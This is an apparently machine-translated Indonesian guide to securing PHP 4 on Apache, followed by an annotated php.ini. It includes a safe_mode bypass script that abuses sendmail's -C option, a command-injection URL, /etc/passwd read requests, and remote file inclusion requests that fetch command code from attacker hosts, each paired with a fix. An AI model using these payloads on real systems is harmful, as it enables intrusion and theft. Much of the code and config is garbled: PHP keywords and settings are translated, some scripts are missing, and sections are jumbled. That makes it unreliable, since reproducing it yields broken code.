1. Keamanan server web
PHP sebenarnya hanyalah fungsi modul dari server Web, sehingga keamanan server Web harus dipastikan terlebih dahulu. Tentu saja, agar server web aman, ia harus memastikan keamanan sistemnya terlebih dahulu, yang masih jauh dari jangkauan. PHP dapat dipadukan dengan berbagai web server, dan disini hanya Apache saja yang akan dibahas. Sangat disarankan untuk menginstal dan memulai Apache dalam mode chroot. Dengan cara ini, meskipun ada kerentanan di Apache, PHP dan skripnya, hanya sistem terbatas yang akan terpengaruh dan tidak akan membahayakan sistem sebenarnya. Namun, menggunakan Apache yang di-chroot juga akan menimbulkan masalah tertentu pada aplikasi. Misalnya, saat menyambung ke mysql, alamat 127.0.0.1 harus digunakan untuk menyambung menggunakan tcp alih-alih localhost untuk sambungan soket, yang sedikit kurang efisien. Ada juga masalah dengan fungsi mail mengirim email, karena di php.ini:
[fungsi email]
; Hanya untuk Win32.
SMTP=host lokal
; Hanya untuk Win32.
sendmail_from [email protected]
ditujukan untuk platform Win32, jadi sendmail perlu disesuaikan dengan lingkungan chroot.
2. Masalah dengan PHP itu sendiri Administrator jaringan u.bitscn@com
1. Remote overflow
Semua versi di bawah PHP-4.1.2 memiliki kerentanan buffer overflow jarak jauh pengunggahan file, dan program serangan telah beredar luas, dengan tingkat keberhasilan yang sangat tinggi
2 . Penolakan layanan jarak jauh
PHP-4.2.0 dan PHP-4.2.1 memiliki kerentanan jarak jauh dalam pemrosesan permintaan POST multibagian/formulir PHP. Meskipun izin pengguna lokal tidak dapat diperoleh, hal ini juga dapat menyebabkan penolakan layanan.
3. Kerentanan bypass safe_mode
juga ada di PHP-4.2.2 dan di bawahnya hingga PHP-4.0.5. Fungsi mail PHP melewati batasan safe_mode dan menjalankan perintah. Karena desainnya Jika Anda tidak hati-hati, Anda dapat menerobos batasan safe_mode dan menjalankan perintah. Terobosan pada versi 4.0.5 sangat sederhana, Anda hanya perlu memisahkannya dengan titik koma dan menambahkan perintah shell. Misalnya jika ada script PHP evil.php:
jalankan URL berikut:
http://foo. com/evil.php?bar =;/usr/bin/id [email protected]
Ini akan mengirimkan hasil eksekusi id ke [email protected] .
Untuk PHP dari 4.0.6 hingga 4.2.2, menerobos batasan safe_mode sebenarnya menggunakan parameter -C dari sendmail, sehingga sistem harus menggunakan sendmail. Kode berikut dapat menerobos batasan safe_mode dan menjalankan perintah:
#Catatan, dua kode berikut tidak boleh ada.
Atau pemiliknya sama dengan pemilik skrip ini
$skrip="/tmp/skrip123";
$cf="/tmp/cf123";
$fd = fopen($cf, "w");
fwrite($fd, "OQ/tmp
Jarang=0
R$*" .chr(9) . "$#lokal $@ $:
Mlokal, P=/bin/sh, A=sh $script");
fclose($fd);
$fd = fopen($skrip, "w");
fwrite($fd, "rm -f $skrip $cf; ");
fwrite($fd, $cmd);
fclose($fd);
mail("tidak ada", "", "", "", "-C$cf");
?>
Pengguna yang menggunakan versi PHP bermasalah di atas harus memperbarui ke versi terbaru tepat waktu, untuk menghilangkan masalah keamanan dasar.
3. Konfigurasi keamanan PHP itu sendiri
Konfigurasi PHP sangat fleksibel, dapat diatur melalui file php.ini, httpd.conf, .htaccess (AllowOverride All atau Options harus diatur di direktori ini), dan Anda juga dapat mengaturnya di direktori ini. gunakan ini_set() dalam program skrip dan fungsi spesifik lainnya untuk diatur. Setiap nilai opsi konfigurasi dapat diperoleh melalui fungsi phpinfo() dan get_cfg_var().
Jika opsi konfigurasi adalah satu-satunya atribut PHP_INI_SYSTEM, maka harus dimodifikasi melalui php.ini dan httpd.conf. Mereka mengubah nilai PHP Master, tetapi setelah modifikasi, apache harus di-restart agar dapat diterapkan. Opsi yang disetel di php.ini efektif untuk semua skrip di server web, dan opsi yang disetel di httpd.conf efektif untuk semua skrip di direktori yang ditentukan.
Jika ada opsi atribut PHP_INI_USER, PHP_INI_PERDIR, PHP_INI_ALL lainnya, Anda dapat menggunakan file .htaccess untuk mengaturnya, atau Anda dapat menggunakan fungsi ini_set() dalam skrip itu sendiri untuk mengaturnya segera berlaku. Namun, .htaccess hanya berlaku untuk program skrip di direktori saat ini, dan fungsi ini_set() hanya berlaku setelah mengatur fungsi ini_set() untuk program skrip. Atribut opsi setiap versi mungkin berbeda. Anda dapat menggunakan perintah berikut untuk menemukan file main.c dari kode sumber saat ini untuk mendapatkan semua opsi dan atributnya:
# grep PHP_INI_ /PHP_SRC/main/main.c
Sebelum membahas Konfigurasi keamanan PHP, Anda harus memiliki pemahaman yang baik tentang mode safe_mode PHP.
1. safe_mode
safe_mode adalah satu-satunya atribut PHP_INI_SYSTEM dan harus diatur melalui php.ini atau httpd.conf. Untuk mengaktifkan safe_mode, cukup modifikasi php.ini:
mode_aman = Aktif
Atau modifikasi httpd.conf dan tentukan direktorinya:
Opsi FollowSymLinks
php_admin_value safe_mode 1
safe_mode akan berlaku setelah apache dimulai ulang. Mengaktifkan safe_mode akan membatasi banyak fungsi PHP, terutama pembukaan file yang berhubungan dengan sistem, eksekusi perintah, dan fungsi lainnya.
Semua fungsi yang mengoperasikan file hanya akan mengoperasikan file dengan UID yang sama dengan skrip. Misalnya, isi skrip test.php adalah:
Properti beberapa file adalah sebagai berikut:
# ls -la
jumlah 13
drwxr-xr-x 2 akar akar 104 20 Juli 01:25 .
drwxr-xr-x 16 akar akar 384 18 Juli 12:02 ..
-rw-r--r-- 1 akar akar 4110 26 Okt 2002 index.html
-rw-r--r-- 1 www-data www-data 41 19 Juli 19:14 test.php
Meminta test.php di browser akan memunculkan pesan kesalahan berikut:
Peringatan: Pembatasan SAFE MODE berlaku. Skrip dengan uid/gid 33/33 tidak diizinkan mengakses ./index.html milik uid/gid 0/0 di /var/www/test.php pada baris 1
Jika UID direktori tempat file yang dimanipulasi berada konsisten dengan UID skrip, maka UID file dapat diakses meskipun berbeda dari skrip ada alasan tersembunyi lainnya. Oleh karena itu, sebaiknya pengguna pemilik skrip php hanya menggunakannya untuk tujuan ini. Dilarang keras menggunakan root sebagai pemilik skrip php. Ini tidak akan mencapai efek safe_mode.
Jika Anda ingin membandingkannya dengan GID, Anda dapat mempertimbangkan hanya membandingkan GID file dengan mengaktifkan safe_mode_gid. Anda dapat mengatur opsi berikut:
safe_mode_gid
= Aktif
ditentukan dalam safe_mode_exec_dir di program php.ini di direktori, dan shell_exec dan `ls -l` akan dilarang menjalankan perintah. Jika Anda benar-benar perlu memanggil program lain, Anda dapat melakukan pengaturan berikut di php.ini:
safe_mode_exec_dir = /usr/local/php/exec
lalu salin program ke direktori ini, maka skrip php dapat menggunakan sistem dan fungsi lainnya untuk menjalankan programnya. Selain itu, skrip shell di direktori ini masih dapat memanggil perintah sistem di direktori lain.
safe_mode_include_dir string
Ganti pemeriksaan UID/GID saat menyertakan file dari direktori ini dan subdirektorinya (direktori harus dalam include_path atau disertakan dengan path lengkap).
Dimulai dengan PHP 4.2.0, direktif ini dapat menerima jalur yang dibatasi titik koma dengan gaya yang mirip dengan direktif include_path, bukan hanya sebuah direktori.
Batas yang ditentukan sebenarnya adalah awalan, bukan nama direktori. Ini berarti "safe_mode_include_dir = /dir/incl" akan mengizinkan akses ke "/dir/include" dan "/dir/incls" jika ada. Jika Anda ingin membatasi akses ke direktori tertentu, tambahkan garis miring, misalnya: "safe_mode_include_dir = /dir/incl/".
string safe_mode_allowed_env_vars
Menyetel variabel lingkungan tertentu mungkin merupakan potensi celah keamanan. Arahan ini berisi daftar awalan yang dipisahkan koma. Dalam mode aman, pengguna hanya dapat mengubah variabel lingkungan yang namanya memiliki awalan yang disediakan di sini. Secara default, pengguna hanya dapat mengatur variabel lingkungan yang dimulai dengan PHP_ (misalnya, PHP_FOO = BAR).
Catatan: Jika arahan ini kosong, PHP akan mengizinkan pengguna untuk mengubah variabel lingkungan apa pun!
safe_mode_protected_env_vars string
Direktif ini berisi daftar variabel lingkungan yang dipisahkan koma yang tidak dapat diubah oleh pengguna akhir menggunakan putenv(). Variabel-variabel ini tidak dapat diubah meskipun modifikasi yang diizinkan diatur di safe_mode_allowed_env_vars.
Meskipun safe_mode bukan obat mujarab (PHP versi rendah dapat dilewati), tetap sangat disarankan untuk mengaktifkan mode aman, yang dapat menghindari beberapa serangan yang tidak diketahui sampai batas tertentu. Namun, mengaktifkan safe_mode akan memiliki banyak batasan, yang dapat mempengaruhi aplikasi, sehingga kode dan konfigurasi perlu disesuaikan untuk mencapai keselarasan. Untuk fungsi yang dibatasi atau diblokir oleh mode aman, silakan merujuk ke manual PHP.
Setelah membahas safe_mode, mari kita bahas bagaimana cara menghindari kerentanan melalui konfigurasi server PHP berdasarkan masalah aktual yang mungkin timbul pada kode program.
2. Penyalahgunaan variabel
Default PHP adalah register_globals = Aktif. Variabel untuk GET, POST, Cookie, Environment, dan Session dapat langsung didaftarkan sebagai variabel global. Urutan registrasinya adalah variabel_order = "EGPCS" (dapat dimodifikasi melalui php.ini). Sisi kanan dari variabel_urutan dengan nama yang sama menutupi sisi kiri, sehingga penyalahgunaan variabel dapat dengan mudah menyebabkan kebingungan program. Selain itu, pemrogram skrip sering kali tidak memiliki kebiasaan menginisialisasi variabel. Fragmen program seperti berikut ini sangat rentan terhadap serangan:
//tes_1.php
if ($lulus == "halo")
$auth = 1;
jika ($auth == 1)
echo "beberapa informasi penting";
kalau tidak
gema "tidak ada";
?>
Penyerang dapat melewati pemeriksaan hanya dengan menggunakan permintaan berikut:
http://victim/test_1.php?auth=1
Meskipun ini adalah kesalahan yang sangat lemah, beberapa program terkenal juga melakukan kesalahan ini. Misalnya, remote phpnuke kerentanan penyalinan file: http://www.securityfocus.com/bid/3361
Ketika PHP-4.1.0 dirilis, disarankan untuk mematikan register_globals dan menyediakan 7 variabel array khusus untuk menggunakan berbagai variabel. Variabel dari GET, POST, COOKIE, dll. tidak langsung didaftarkan sebagai variabel dan harus diakses melalui variabel array. Ketika PHP-4.2.0 dirilis, konfigurasi default php.ini adalah register_globals = Off. Hal ini memungkinkan program untuk menggunakan nilai default yang diinisialisasi oleh PHP itu sendiri, yang biasanya 0, sehingga mencegah penyerang mengontrol variabel penilaian.
Solusi :
Set register_globals = Off pada file konfigurasi php.ini.
Pemrogram diharuskan menginisialisasi nilai variabel penilaian di awal program.
3. File membuka
cuplikan kode yang sangat rentan:
//test_2.php
if (!($str = readfile("$namafile"))) {
echo("Tidak dapat membuka file: $namafile
N");
KELUAR;
}
kalau tidak {
gema $str;
}
?>
Karena penyerang dapat menentukan $filename apa pun, penyerang dapat melihat /etc/passwd dengan permintaan berikut:
http://victim/test_2.php?filename=/etc/passwd
Permintaan berikut dapat membaca file php itu sendiri :
http://victim/test_2.php?filename=test_2.php
Fungsi pembuka file di PHP antara lain fopen(), file(), dll. Jika variabel nama file tidak dicentang dengan ketat, file penting di server akan diakses dan membaca.
Solusi:
Kecuali jika diperlukan, batasi operasi file PHP ke direktori web. Berikut contoh modifikasi file konfigurasi apache httpd.conf:
php_admin_value open_basedir /usr/local/Apache/htdocs
,
PHP akan melaporkan kesalahan:
Peringatan: pembatasan open_basedir berlaku
xx.
Menggunakan mode safe_mode juga dapat menghindari masalah ini, yang telah dibahas sebelumnya.
4. Berisi file
dengan cuplikan kode yang sangat rentan:
//test_3.php
if(file_exists($namafile))
include("$namafile");
?>
Kode tidak bertanggung jawab semacam ini akan menyebabkan kerugian besar. Seorang penyerang dapat memperoleh file /etc/passwd dengan menggunakan permintaan berikut:
http://victim/test_3.php?filename=/etc/passwd
Jika untuk PHP versi Unix ( Versi Win PHP tidak mendukung pembukaan file jarak jauh) Penyerang dapat membuat file yang berisi perintah shell di mesin tempat dia membuka layanan http atau ftp adalah, maka permintaan berikut Anda dapat menjalankan perintah ls /etc pada host target:
http://victim/test_3.php?filename=http://attact/attachment.txt
Penyerang bahkan dapat menggunakan access.log dan file log error.log yang berisi apache ke Kode untuk menjalankan perintah diperoleh, tetapi terkadang tidak mudah untuk berhasil karena terlalu banyak informasi gangguan.
Untuk form lainnya, cuplikan kode berikut:
//test_4.php
include("$lib/config.php");
?>
Penyerang dapat membuat file config.php yang berisi kode eksekusi perintah pada hostnya sendiri, dan kemudian menggunakan permintaan berikut untuk menjalankan perintah pada host target:
http://victim/test_4.php?lib=http://serangan
Fungsi yang disertakan PHP meliputi include(), include_once(), require(), require_once. Jika variabel yang berisi nama file tidak diperiksa secara ketat, maka akan menimbulkan bahaya serius bagi sistem, dan perintah dapat dijalankan dari jarak jauh.
Solusi:
Pemrogram diharuskan untuk mencoba untuk tidak menggunakan variabel ketika memasukkan parameter dalam file. Jika variabel digunakan, nama file yang akan dimasukkan harus diperiksa dengan ketat dan tidak boleh ditentukan secara sembarangan oleh pengguna.
Misalnya, membatasi jalur operasi PHP pada pembukaan file sebelumnya adalah pilihan yang diperlukan. Selain itu, kecuali jika diperlukan, pastikan untuk mematikan fungsi pembukaan file jarak jauh PHP. Ubah file php.ini:
allow_url_fopen = Nonaktif
Restart apache
[PHP]
; PHP masih merupakan alat yang terus berkembang dan fitur-fiturnya terus dihapus.
; Dan perubahan pengaturan php.ini dapat mencerminkan perubahan besar,
; Sebelum menggunakan versi PHP baru, ada baiknya mempelajari php.ini
;;;;;;;;;;;;;;;;;;;;;;;
;Tentang dokumen ini;
;;;;;;;;;;;;;;;;;;;;;
File ini mengontrol banyak aspek tampilan PHP, file ini harus diberi nama
; 'php.ini'.PHP akan mencari file di tempat-tempat ini: direktori kerja saat ini;
; Jalur yang ditentukan; jalur yang ditentukan saat kompilasi.
; Di Windows, jalur kompilasi adalah direktori instalasi Windows.
; Dalam mode baris perintah, jalur pencarian untuk php.ini dapat diganti dengan parameter -c
; Sintaks file ini sangat sederhana. Karakter spasi putih dan baris yang dimulai dengan titik koma ';'
; sama seperti yang diduga). Judul bab (misalnya: [Foo]) juga diabaikan begitu saja, meskipun mungkin saja terjadi di masa mendatang
;
;
; arahan ditentukan menggunakan sintaks berikut:
; pengidentifikasi indikator = nilai
; direktif = nilai
; Menunjukkan bahwa pengidentifikasi *peka huruf besar-kecil* - foo=bar berbeda dari FOO = bar.
;
; Nilai dapat berupa string, angka, konstanta PHP (seperti: E_ALL atau M_PI), konstanta INI
; A (Hidup, Mati, Benar, Salah, Ya, Tidak, dan Tidak Ada), atau ekspresi
; (misalnya: E_ALL & ~E_NOTICE), atau string yang dikutip ("foo").
;
; Ekspresi dalam file INI dibatasi untuk operator bitwise dan tanda kurung.
; |. sedikit demi sedikit ATAU
; & sedikit demi sedikit DAN
; ~ bitwise TIDAK
; ! boolean TIDAK
;
; Bendera Boolean dapat diaktifkan dengan nilai 1, Aktif, Benar, atau Ya.
; Mereka dapat dimatikan dengan nilai 0, Mati, Salah atau Tidak.
;
; String kosong dapat direpresentasikan dengan menulis apa pun setelah tanda sama dengan, atau dengan menggunakan kata kunci Tidak Ada:
;
; foo = ; Setel foo ke string kosong
; foo = none ; Setel foo ke string kosong
; foo = "tidak ada" ; Setel foo ke string 'tidak ada'
;
; Jika Anda menggunakan konstanta dalam pengaturan nilai, dan konstanta ini milik pustaka ekstensi yang dimuat secara dinamis (bukan ekstensi PHP
; ekstensi Zend), Anda hanya dapat menggunakan konstanta ini *setelah* baris yang memanggil ekstensi ini.
;
; Semua nilai yang ditetapkan dalam file php.ini-dist sama dengan nilai default bawaan (yaitu, jika php.ini
defaultnya
sama).
;Pilihan bahasa;
;;;;;;;;;;;;;;;;;;;;;;;;
mesin = Aktif
; Membuat mesin bahasa skrip PHP tersedia di Apache.
short_open_tag = Aktif
; Mengizinkan tag <? (representasi sederhana ini). Hanya tag <?php dan <script> yang akan dikenali.
asp_tags = Mati
; Izinkan tag <% %> gaya ASP
presisi=14
; Jumlah digit efektif saat menampilkan angka tipe floating point
y2k_compliance = Off
; Apakah akan mengaktifkan adaptasi Y2K (dapat menyebabkan masalah pada browser non-adaptif Y2K)
output_buffering = Nonaktif
; Caching keluaran memungkinkan Anda mengirim baris header (termasuk cookie) bahkan setelah mengeluarkan konten isi
; Biayanya adalah lapisan keluaran sedikit melambat. Anda dapat menggunakan caching keluaran untuk mengaktifkan caching keluaran saat runtime,
; Atau aktifkan arahan Di sini untuk mengaktifkan cache keluaran untuk semua file.
output_handler = ; Anda dapat mengarahkan semua output skrip Anda ke suatu fungsi,
; Itu mungkin berguna untuk memproses atau mencatatnya.
; Misalnya, jika Anda menyetel output_handler ini ke "ob_gzhandler",
; keluarannya akan dikompresi secara transparan untuk browser yang mendukung pengkodean gzip atau deflate.
; Mengatur prosesor keluaran untuk membuka buffering keluaran secara otomatis.
implisit_flush = Mati
; Paksa flush untuk memberi tahu PHP agar memberi tahu lapisan keluaran agar secara otomatis menyegarkan datanya sendiri setelah setiap blok keluaran.
; Ini setara dengan memanggil fungsi flush() setelah setiap panggilan print() atau echo() dan setelah setiap blok HTML.
; Mengaktifkan pengaturan ini akan menyebabkan konflik waktu proses yang serius. Disarankan untuk mengaktifkannya hanya selama proses
debug
; Apakah akan memaksa pemanggilan fungsi untuk meneruskan parameter dengan referensi.
; dan mungkin tidak lagi didukung di versi PHP/Zend yang akan datang.
; Dianjurkan untuk menentukan parameter mana yang diteruskan dengan referensi dalam deklarasi fungsi.
; Anda dianjurkan untuk mencoba menonaktifkan opsi ini dan memverifikasi bahwa skrip Anda masih berfungsi dengan baik, untuk memastikan versi bahasa yang akan datang
; Parameter tersebut akan tetap berfungsi (Anda akan mendapat peringatan setiap kali menggunakan fitur ini, dan parameternya akan berdasarkan nilai, bukan berdasarkan referensi.
; Lulus).
; Mode Aman
mode_aman = Mati
safe_mode_exec_dir =
safe_mode_allowed_env_vars = PHP_
; Menetapkan variabel lingkungan tertentu
; mungkin merupakan potensi pelanggaran keamanan.
; Arahan ini berisi daftar awalan yang dipisahkan koma. Dalam mode aman, pengguna hanya dapat mengganti
nilai variabel lingkungan yang dimulai dengan awalan yang tercantum di sini.
; Secara default, pengguna hanya dapat mengatur variabel lingkungan yang dimulai dengan PHP_ (misalnya: PHP_FOO=BAR).
; CATATAN: Jika arahan ini kosong, PHP akan membiarkan pengguna mengubah variabel lingkungan apa pun
!
; Arahan ini berisi daftar variabel lingkungan yang dipisahkan koma yang tidak dapat diubah oleh pengguna akhir menggunakan putenv().
; Variabel-variabel ini dilindungi bahkan ketika safe_mode_allowed_env_vars diatur ke
dinonaktifkan_fungsi =
; Arahan ini memungkinkan Anda untuk menonaktifkan fungsi tertentu untuk alasan keamanan.
; Ia menerima daftar nama fungsi yang dipisahkan koma.
; Instruksi ini *tidak* terpengaruh oleh apakah mode aman aktif atau tidak
.
???
> akan berfungsi
highlight.komentar = #FF8000
highlight.kata kunci = #007700
highlight.bg = #FFFFFF
highlight.default = #0000BB
highlight.html = #000000
; Lain-lain Lain-lain
mengekspos_php = Mati
; Menentukan apakah PHP harus menunjukkan fakta bahwa ia diinstal pada server (misalnya menambahkannya - PHP - ke layanan web
; pada sinyal yang dikirim).
; (Pendapat pribadi saya adalah mematikannya ketika header power-by muncul.)
; Ini tidak menimbulkan ancaman keamanan, tetapi memungkinkan untuk memeriksa apakah PHP diinstal pada server Anda.
;;;;;;;;;;;;;;;;;;;;;;;
;
;;;;;;;;;;;;;;;;;;;;;
max_execution_time = 30 ; Waktu eksekusi maksimum setiap skrip, dalam hitungan detik
memory_limit = 8388608; Jumlah maksimum memori yang dapat digunakan oleh sebuah skrip (di sini adalah 8MB)
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;
;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; Pelaporan kesalahan bersifat bitwise. Atau tambahkan angka untuk mendapatkan tingkat pelaporan kesalahan yang diinginkan.
; E_ALL - semua kesalahan dan peringatan
; E_ERROR - kesalahan waktu proses yang fatal
; E_WARNING - peringatan waktu proses (kesalahan non-fatal)
; E_PARSE - kesalahan penguraian waktu kompilasi
; E_NOTICE - pengingat waktu proses (ini sering kali disebabkan oleh bug dalam kode Anda,
; Hal ini mungkin juga disebabkan oleh perilaku yang disengaja (misalnya: menggunakan variabel yang tidak diinisialisasi berdasarkan
fakta bahwa variabel yang tidak diinisialisasi secara otomatis diinisialisasi ke ; string kosong)
;
; E_CORE_WARNING - peringatan (kesalahan non-fatal) yang terjadi selama proses inisialisasi saat PHP dimulai
; E_COMPILE_ERROR - kesalahan waktu kompilasi yang fatal
; E_COMPILE_WARNING - peringatan waktu kompilasi (kesalahan non-fatal)
; E_USER_ERROR - pesan kesalahan yang dibuat pengguna
; E_USER_WARNING - pesan peringatan yang dibuat pengguna
; E_USER_NOTICE - pesan pengingat yang dibuat pengguna
; contoh:
; error_reporting = E_ALL & ~E_NOTICE ;
; error_reporting = E_COMPILE_ERROR|E_ERROR|E_CORE_ERROR ;
error_reporting = E_ALL & ~E_NOTICE ; Tampilkan semua kesalahan kecuali pengingat
display_errors = Aktif ; menampilkan pesan kesalahan (sebagai bagian dari output)
; Di situs web terakhir yang diterbitkan, sangat disarankan agar Anda mematikan fitur ini dan menggunakannya
; Log kesalahan malah (lihat di bawah).
; Dimungkinkan untuk terus mengaktifkan display_errors di situs web terakhir yang diterbitkan
; Mengekspos beberapa informasi terkait keamanan, seperti jalur file di layanan web Anda,
; Konfigurasi database Anda atau informasi lainnya.
display_startup_errors = Mati; Terjadi selama langkah startup PHP bahkan ketika display_erroes diaktifkan
; kesalahan tidak akan ditampilkan.
; Sangat disarankan untuk tetap menonaktifkan display_startup_errors,
; Kecuali selama proses koreksi kesalahan.
log_errors = Off ; Rekam kesalahan dalam file log (log khusus server, keluaran kesalahan standar stderr, atau error_log (di bawah))
; Seperti disebutkan di atas, sangat disarankan agar Anda mencatat kesalahan pada situs web yang terakhir diterbitkan
; Ganti keluaran kesalahan langsung.
track_errors = Mati ; Simpan pesan kesalahan/peringatan terbaru dalam variabel $php_errormsg (boolean)
;error_prepend_string = "<font color=ff0000>" ;
;error_append_string = "</font>" ; Output string setelah pesan kesalahan
;error_log = nama file ; Rekam log kesalahan ke file yang ditentukan
;error_log = syslog ; Catat log kesalahan di syslog log sistem (log peristiwa pada NT, tidak valid pada Windows 95)
warning_plus_overloading = Mati ; Peringatkan saat menggunakan '+' dengan string
;;;;;;;;;;;;;;;;;;;;
;
;;;;;;;;;;;;;;;;;;;; variabel_order = "EGPCS" ;
; Urutan variabel GET, POST, Cookie, Environment dan Built-in.
; (diwakili oleh G, P, C, E & S, biasanya disebut sebagai EGPCS atau GPC).
; Catatan dari kiri ke kanan, nilai baru menggantikan nilai lama.
register_globals = Aktif ; Apakah akan mendaftarkan variabel EGPCS ini sebagai variabel global.
; Anda mungkin ingin menonaktifkannya jika Anda tidak ingin data pengguna berantakan secara global.
; Ini lebih masuk akal jika digabungkan dengan track_vars - dengan cara ini Anda bisa mengopernya
; array $HTTP_*_VARS[] mengakses semua variabel GPC.
register_argc_argv = Aktif ;
; (Catatan: di sini argv adalah array dan argc adalah jumlah variabel)
; (yang berisi data yang dikirimkan menggunakan metode GET).
; Jika Anda tidak ingin menggunakan variabel ini, Anda harus mematikannya untuk meningkatkan kinerja.
track_vars = On ; Jadikan array $HTTP_*_VARS[] valid, di sini * digunakan saat menggunakan
; penggantian ENV, POST, GET, COOKIE atau SERVER
post_max_size = 8M ; Ukuran maksimum data POST yang dapat diterima PHP.
gpc_order = "GPC" ; Direktif ini tidak digunakan lagi. Gunakan variabel_order sebagai
gantinya
magic_quotes_gpc = Aktif ; Gunakan tanda kutip ajaib dalam input data GET/POST/Cookie
; (Teks aslinya seperti ini, haha, yang disebut kutipan ajaib seharusnya mengacu pada penggunaan karakter escape untuk menambahkan karakter kontrol referensi, seperti '....)
magic_quotes_runtime= Mati ; Gunakan tanda kutip ajaib untuk data yang dihasilkan saat runtime,
; Misalnya: data yang diperoleh dengan query SQL, data yang diperoleh dengan fungsi exec(), dll.
magic_quotes_sybase = Mati ; Gunakan kutipan ajaib gaya Sybase (gunakan 'ekstrak' alih-alih '')
;
auto_prepend_file =
auto_append_file =
; Seperti 4.04b4, PHP secara default selalu menampilkan pengkodean karakter di header "Jenis konten:".
; Menonaktifkan kumpulan karakter keluaran selama disetel ke kosong.
;
default_mimetype = "teks/html"
;default_charset = "iso-8859-1"
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
include_path = ; sertakan pengaturan jalur, UNIX: "/path1:/path2" Windows: "path1;path2"
doc_root = ; Jalur root halaman php, hanya valid jika tidak kosong.
user_dir = ; Memberi tahu php direktori mana yang harus dicari saat membuka skrip menggunakan /~nama pengguna.
;upload_tmp_dir = ; Direktori sementara untuk menyimpan file yang diunggah menggunakan protokol HTTP (gunakan default sistem jika tidak ditentukan)
upload_max_filesize = 2097152 ; Pengunggahan file dibatasi hingga 2 Meg secara default
extension_dir = c:php ; direktori tempat perpustakaan ekstensi (modul) yang dapat dimuat disimpan
aktifkan_dl = Aktif ; Apakah akan mengaktifkan dl().
; Fungsi dl() *tidak* berfungsi dengan baik di server multi-utas,
; seperti IIS atau Zeus, dan dinonaktifkan secara default
;;;;;;;;;;;;;;;;;;;;
;
;;;;;;;;;;;;;;;;;;;;
file_uploads = Aktif; Apakah mengizinkan pengunggahan file HTTP
;upload_tmp_dir = ; Direktori sementara untuk file yang diunggah melalui HTTP (default sistem digunakan jika tidak ditentukan)
upload_max_filesize = 2M; Ukuran maksimum file yang diunggah
;
;;;;;;;;;;;;;;;;;;;;;;
Allow_url_fopen = Aktif ; Apakah mengizinkan URL diperlakukan sebagai http:.. atau file sebagai ftp:...
;;;;;;;;;;;;;;;;;;;;;;;;;;
;Ekspansi dinamis;
;
;;;;;;;;;;;;;;;;;;;;;;;;;;
; Jika Anda ingin perpustakaan ekstensi dimuat secara otomatis, gunakan sintaks berikut:
; ekstensi=namamodul.ekstensi
; Misalnya, di Windows,
; ekstensi=msql.dll
; atau di bawah UNIX,
; ekstensi=msql.jadi
; Perhatikan bahwa ini hanya nama modul, tidak perlu memasukkan informasi direktori di dalamnya.
; Gunakan extension_dir di atas untuk menunjukkan lokasi perpustakaan ekstensi yang ditentukan.
;Ekstensi Windows
;ekstensi=php_nsmail.dll
ekstensi=php_calendar.dll
;ekstensi=php_dbase.dll
;ekstensi=php_filepro.dll
ekstensi=php_gd.dll
;ekstensi=php_dbm.dll
;ekstensi=php_mssql.dll
;ekstensi=php_zlib.dll
;ekstensi=php_filepro.dll
;ekstensi=php_imap4r2.dll
;ekstensi=php_ldap.dll
;ekstensi=php_crypt.dll
;ekstensi=php_msql2.dll
;ekstensi=php_odbc.dll
; Perhatikan bahwa dukungan MySQL sekarang sudah ada di dalamnya, jadi tidak perlu menggunakan dllnya
;;;;;;;;;;;;;;;;;;;;;
;
;
;;;;;;;;;;;;;;;;;;;;;;
define_syslog_variables = Nonaktif; Apakah akan mendefinisikan berbagai variabel log sistem
; Seperti: $LOG_PID, $LOG_CRON, dll.
; Mematikannya adalah ide bagus untuk meningkatkan efisiensi.
; Saat runtime, Anda dapat memanggil fungsi mendefinisikan_syslog_variables() untuk mendefinisikan variabel-variabel ini
[fungsi email]
SMTP = localhost ; hanya untuk sistem win32
sendmail_from [email protected] ; hanya untuk sistem win32
;sendmail_path = ;hanya untuk unix, juga mendukung parameter (defaultnya adalah 'sendmail -t -i')
[Debugger]
debugger.host = localhost
debugger.port = 7869
debugger.enabled = Salah
[Logging]
; Konfigurasi ini menunjukkan mekanisme logging yang digunakan pada contoh.
; Lihat contoh/README.logging untuk penjelasan lebih lanjut
;logging.metode = db
;logging.directory = /path/ke/log/directory
[Java]
;java.class.path = .php_java.jar
;java.home = c:jdk
;java.library = c:jdkjrebinhotspotjvm.dll
;java.library.path = .
[SQL]
sql.safe_mode = Mati
[ODBC]
;uodbc.default_db = Belum diterapkan
;uodbc.default_user = Belum diterapkan
;uodbc.default_pw = Belum diterapkan
uodbc.allow_persistent = Aktif ; Mengizinkan atau menonaktifkan koneksi persisten
uodbc.check_persistent = Aktif ; Periksa apakah koneksi masih tersedia sebelum menggunakannya kembali
uodbc.max_persistent = -1; Jumlah maksimum koneksi persisten
uodbc.max_links = -1; Jumlah maksimum koneksi (persisten dan non-persisten).
uodbc.defaultlrl = 4096; Mengontrol bidang tipe LONG. Mengembalikan jumlah byte variabel, 0 berarti passthru (?) 0 berarti passthru
uodbc.defaultbinmode = 1; Kontrol data biner. 0 mewakili ???Penanganan data biner
; Lihat dokumentasi untuk odbc_binmode dan odbc_longreadlen untuk penjelasan tentang uodbc.defaultlrl dan uodbc.defaultbinmode
.
mysql.allow_persistent = Aktif ; Mengizinkan atau menonaktifkan koneksi persisten
mysql.max_persistent = -1; Jumlah maksimum koneksi persisten
mysql.max_links = -1 ; Jumlah koneksi maksimum (persisten dan non-persisten).
mysql.default_port = ; Port default yang digunakan oleh mysql_connect().
; akan menggunakan variabel $MYSQL_TCP_PORT, atau entri mysql-tcp di bawah /etc/services (unix),
; Atau MYSQL_PORT ditentukan selama kompilasi (dalam urutan ini)
; lingkungan Win32, hanya MYSQL_PORT yang akan diperiksa.
mysql.default_socket = ; Nama soket default yang digunakan untuk koneksi MySql lokal. Jika kosong, gunakan nilai bawaan MYSQL
mysql.default_host = ; Host yang digunakan oleh mysql_connect() secara default (tidak valid dalam mode aman)
mysql.default_user = ; mysql_connect () Nama pengguna yang digunakan secara default (tidak valid dalam mode aman)
mysql.default_password = ; Kata sandi yang digunakan oleh mysql_connect() secara default (tidak valid dalam mode aman)
; Perhatikan bahwa menyimpan kata sandi di bawah file ini umumnya merupakan ide yang *buruk*
; *Setiap* pengguna dengan akses ke PHP dapat menjalankan
; 'echo cfg_get_var("mysql.default_password")' untuk menampilkan kata sandi itu!
; Dan tentu saja, setiap pengguna dengan hak membaca file juga akan dapat melihat kata sandi
[mSQL]
tersebut.
